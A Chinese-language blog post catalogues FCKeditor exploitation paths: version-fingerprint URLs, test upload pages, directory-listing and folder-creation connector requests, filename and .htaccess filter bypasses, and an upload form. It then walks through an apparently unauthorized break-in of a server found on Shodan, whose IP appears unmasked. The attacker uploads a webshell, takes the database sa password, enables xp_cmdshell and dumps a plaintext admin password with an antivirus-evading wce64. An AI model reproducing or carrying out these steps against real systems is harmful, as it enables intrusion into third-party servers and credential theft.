1.1Fckeditor 漏洞总结及其渗透某服务器
有些漏洞看起来简单, 级别比较低, 不如 SQL 注入等漏洞来的直接, 但在条件合适的情况下, 小漏洞发挥大作用, 一直以来都想做一个 Fckeditor 漏洞总结, 免得每次遇到目标都需要重新搜索, 浪费时间.
1.1.1FCKeditor 编辑器漏洞利用总结
1. 判断 fckeditor 版本
通过 / fckeditor/editor/dialog/fck_about.html 和 / FCKeditor/_whatsnew.html 页面文件中的版本号来确定. 例如访问 http://***.1**.***.***:8081/fckeditor/_whatsnew.html http://223.100.212.200:8081/fckeditor/_whatsnew.html , 获知其版本号为 2.4.3.
图 1 获取 Fckeditor 版本
2. 常见的测试上传地址
Fckeditor 编辑器默认会存在 test.html 和 uploadtest.html 文件, 直接访问这些文件可以获取当前文件夹文件名称以及上传文件, 有的版本可以直接上传任意文件类型, 测试上传地址有:
- (1)FCKeditor/editor/filemanager/browser/default/connectors/test.html
- (2)FCKeditor/editor/filemanager/upload/test.html
- (3)FCKeditor/editor/filemanager/connectors/test.html
- (4)FCKeditor/editor/filemanager/connectors/uploadtest.html
3. 示例上传地址
- FCKeditor/_samples/default.html
- FCKeditor/_samples/asp/sample01.asp
- FCKeditor/_samples/asp/sample02.asp
- FCKeditor/_samples/asp/sample03.asp
- FCKeditor/_samples/asp/sample04.asp
- FCKeditor/_samples/default.html
- FCKeditor/editor/fckeditor.htm
- FCKeditor/editor/fckdialog.html
4. 常见的上传地址
(1)connector.aspx 文件
- FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
- FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
- FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
- FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
- FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
- FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
- FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
- FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
(2)browser.html 文件
- FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
- FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
- fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
- fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
5. Windows 2003+IIS6 文件解析路径漏洞
通过 Fckeditor 编辑器在文件上传页面中, 创建诸如 1.asp 文件夹, 然后再到该文件夹下上传一个图片的 webshell 文件, 获取其 shell. 其 shell 地址为:
http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg
6.iis6 突破文件夹限制
- Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
- FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
- FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
7. 突破文件名限制
(1) 二次重复上传文件突破 "." 变成 "-" 限制
新版 FCK 上传 shell.asp;.jpg 变 shell_asp;.jpg, 然后继续上传同名文件可变为 shell.asp;(1).jpg
(2) 提交 shell.php + 空格绕过
空格只支持 windows 系统, linux 系统是不支持的, 可提交 shell.php + 空格来绕过文件名限制.
8. 列目录
(1)FCKeditor/editor/fckeditor.html 不可以上传文件, 可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页, 可以查看已经上传的文件.
(2) 根据 xml 返回信息查看网站目录
http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
(3) 获取当前文件夹
- FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
- FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
- FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
(4) 浏览 E 盘文件
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
(5)JSP 版本
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/
9. 修改 Media 类型进行上传
FCKeditor 2.4.2 For php 以下版本在处理 PHP 上传的地方并未对 Media 类型进行上传文件类型的控制, 导致用户上传任意文件! 将以下保存为 html 文件, 修改 action 地址为实际地址:
- <form id="frmUpload" enctype="multipart/form-data"
- action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
- <input type="file" name="NewFile" size="50"><br>
- <input id="btnUpload" type="submit" value="Upload">
- </form>
10.htaccess 文件突破
htaccess 文件是 Apache 服务器中的一个配置文件, 它负责相关目录下的网页配置. 通过 htaccess 文件, 可以实现: 网页 301 重定向, 自定义 404 页面, 改变文件扩展名, 允许 / 阻止特定的用户或者目录的访问, 禁止目录列表, 配置默认文档等功能.
(1).htaccess 文件内容
AppType application/x-httpd-php .jpg
另外一种方法也可以, 其内容为:
<FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch>
上传带 cimer 后缀的 webshell 文件, 访问地址即可得到 webshell
(2) 上传. htaccess 文件
(3) 上传图片木马
(4) 借助该漏洞, 可以实现 webshell 的访问
1.1.2 搜索 FCKeditor 目标
1. 在 shodan.io 网站搜索 FCKeditor 关键字
在 shodan.io 网站搜索 FCKeditor 关键字, 如图 2 所示, 可以看到一共存在 24 条记录, 也可以直接访问地址 https://www.shodan.io/search?query=”FCKeditor”,对关键字进行查询,不同的关键字其出来的效果不一样。
https://www.shodan.io/search?query="FCKeditor" 对关键字进行查询, 不同的关键字其出来的效果不一样.
图 2 搜索国内 FCKeditor 目标信息
2. 逐个查看目标记录信息
对 shodan.io 网站搜索的 24 条记录进行逐个查看, 也即单击 shodan 搜索记录中的 Details 链接, 即可查看目标的详细信息, 如图 3 所示, 建议新建窗口打开该链接地址, 在该 IP 地址信息中包含国家, 城市, 组织, ISP 和端口等信息.
图 3 查看使用 Fckeditor 编辑器的目标信息
1.1.3 漏洞利用及分析
1. 根据端口访问服务器
单击 shodan 中搜索出来的服务信息中的绿色转向箭头即可直接访问目标服务器, 例如本例中是 8081 端口, 如图 4 所示, 在该页面中直接目录信息泄露, 可以下载 dlty.rar 代码文件.
图 4 访问目标网站
2. 对网站目录进行逐个查看获取 Fckedit 漏洞利用页面
通过对该网站 fckeditor 编辑器所在文件夹进行逐层访问, 获取其上传测试页面地址: http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html,
http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html
如图 5 所示, 选择网站支持编程语言为 ASP.Net, 然后选择一个 aspx 的 webshell, 进行上传, 直接上传文件到 / UserFiles / 目录, 文件名称也未做更改.
图 5 直接上传 webshell
3. 查看和验证上传文件
如图 6 所示, 到该网站 / UserFiles / 目录, 可以看到上传的 2014.aspx 及 cmd.php 文件.
图 6 检查和验证上传的文件
4. 获取 webshell 及数据库密码
单击 / UserFiles / 目录中的 2014.aspx 文件, 直接获取 webshell, 如图 7 所示, 通过查看 web.config 文件还获取其数据库 sa 账号密码为 dlty.
图 7 获取 webshell 及数据库密码
5. 服务器提权并获取服务器密码
(1) 获取服务器架构
如图 8 所示, 在 webshell 中执行 cmd.exe /c set 命令查看当前处理架构信息, 结果显示为 AMD64 位.
图 8 获取处理架构信息
(2) 连接数据库恢复 xp_cmdshell
在 webshell 中单击 DataBase 进行数据库管理, 选择 mssql, 然后输入 sa 账号对应的密码, 进行连接, 连接成功后, 在 SQLExec 中选择 Add xp_cmdshell, 如图 9 所示, 显示该数据库服务器中已经添加 xp_cmdshell 存储进程, 表明前面有人入侵过.
图 9 数据库恢复 xp_cmdshell
(3) 获取当前数据库管理员密码明文
将 wce64.exe 进行免杀处理, 然后上传到服务器上, 通过 xp_cmdshell 执行命令:
Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'
如图 10 所示, 成功获取该服务器密码明文:×××@66009009
图 10 获取服务明文密码
1.1.4 渗透总结及分析
1. sqlserver 2000 直接提权. 在本例中还可以通过 sqlmap 进行 mssql 数据库直连进行提权以及执行命令等操作, 由于本案例中的数据库是 sqlserver 2000,sa 账号可以直接提权到服务器权限.
2.Fckeditor 中的 test.html 文件可以直接上传任意文件类型
3. 可以通过 Fckeditor 还可以浏览目录. 这个在渗透中特别有用, 可以用来查看网站的目录结构, 运气好, 可以查看 xml 配置文件, 以及下载源代码文件等.
4. 在本案例中的目录信息危害太大. 可以对所有文件及目录进行查看, 即使未获取编辑器漏洞, 也可以通过源代码文件获取数据库密码.
更多实战技术干货, 请关注最新攻防实战专栏内容渗透攻击入门到实践, 让 SQLmap 子 * 弹飞一会儿
来源: http://blog.51cto.com/simeon/2117821